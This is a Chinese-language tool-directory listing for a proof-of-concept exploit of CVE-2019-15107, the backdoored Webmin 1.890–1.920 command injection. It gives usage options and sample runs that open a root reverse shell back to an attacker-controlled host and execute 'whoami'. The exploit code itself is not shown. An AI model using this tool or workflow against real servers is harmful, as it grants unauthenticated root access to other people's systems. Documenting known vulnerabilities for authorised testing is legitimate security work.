Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2019-15107 — 针对 CVE-2019-15107(Webmin <= 1.920)的概念验证漏洞利用程序,可通过命令注入实现未认证远程代码执行(RCE)。 | Kitploit
工具/GitHubGitHub/adampawelczyk/cve-2019-15107
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制
GitHubadampawelczyk/cve-2019-15107

cve-2019-15107

针对 CVE-2019-15107(Webmin <= 1.920)的概念验证漏洞利用程序,可通过命令注入实现未认证远程代码执行(RCE)。

查看仓库
15个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-15107 - Webmin 未认证远程代码执行

描述

此仓库包含针对 CVE-2019-15107 的概念验证(PoC)漏洞利用程序,影响 Webmin 1.890 至 1.920 版本。

该脚本利用了 1.890 至 1.920 版本中的后门,允许未认证用户通过 old(在 v1.890 中为 expired)参数向 password_change.cgi 端点注入命令。只有 SourceForge 的下载被植入了后门,但它们却被列为项目官网上的官方下载。

未知攻击者曾两次在构建服务器的源代码中插入 Perl qx 语句:一次是在 2018 年 4 月,在 1.890 版本中引入了后门;另一次是在 2018 年 7 月,在 1.900 至 1.920 版本中重新引入了该后门。

在默认安装中,只有 1.890 版本可以被利用。后续受影响版本需要启用过期密码修改功能。

测试环境

该漏洞利用程序已在以下环境中成功测试:

  • Webmin 版本:1.890
  • 操作系统:Ubuntu 18.04.4 LTS

使用方法

root@kitploit:~
python3 cve-2019-15107.py -r <TARGET_IP> -l <LOCAL_IP> [options]

options:
  -h, --help                 Show this help message and exit
  -r, --rhost RHOST          Target IP address
  -rp, --rport RPORT         Target port (default: 10000)
  -l, --lhost LHOST          Local IP for reverse shell
  -lp, --lport LPORT         Local port for reverse shell (default: 4343)
  -s, --scheme {http,https}  Protocol to use (default: https)
  -x, --proxy [PROXY]        Use proxy (default: http://127.0.0.1:8080)
  -f, --force                Force exploitation even if detection fails
  -c, --cmd CMD              Execute a single command instead of reverse shell

示例

root@kitploit:~
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129

   _____   _____   ___ __  _ ___     _ ___ _  __ ____ 
  / __\ \ / / __|_|_  )  \/ / _ \___/ | __/ |/  \__  |
 | (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ / 
  \___| \_/ |___| /___\__/|_|/_/    |_|___/_|\__//_/  

  CVE-2019-15107 | Webmin Unauthenticated RCE
  by adampawelczyk

[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[*] Starting listener on port 4343...
listening on [any] 4343 ...
[*] Sending payload...
connect to [192.168.158.129] from (UNKNOWN) [10.114.159.93] 59970
bash: cannot set terminal process group (1314): Inappropriate ioctl for device
bash: no job control in this shell
root@source:/usr/share/webmin/# whoami
whoami
root
root@source:/usr/share/webmin/# 
root@kitploit:~
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129 -c whoami                                                                                                                                                                 

   _____   _____   ___ __  _ ___     _ ___ _  __ ____ 
  / __\ \ / / __|_|_  )  \/ / _ \___/ | __/ |/  \__  |
 | (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ / 
  \___| \_/ |___| /___\__/|_|/_/    |_|___/_|\__//_/  

  CVE-2019-15107 | Webmin Unauthenticated RCE
  by adampawelczyk

[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[+] Command output:
========================================
root

参考

  • https://nvd.nist.gov/vuln/detail/CVE-2019-15107
  • https://webmin.com/security/
  • https://www.exploit-db.com/exploits/47230

免责声明

此工具仅用于教育和授权测试目的。未经授权对您不拥有或没有测试许可的系统进行使用属于违法行为。请负责任地使用。

下载工具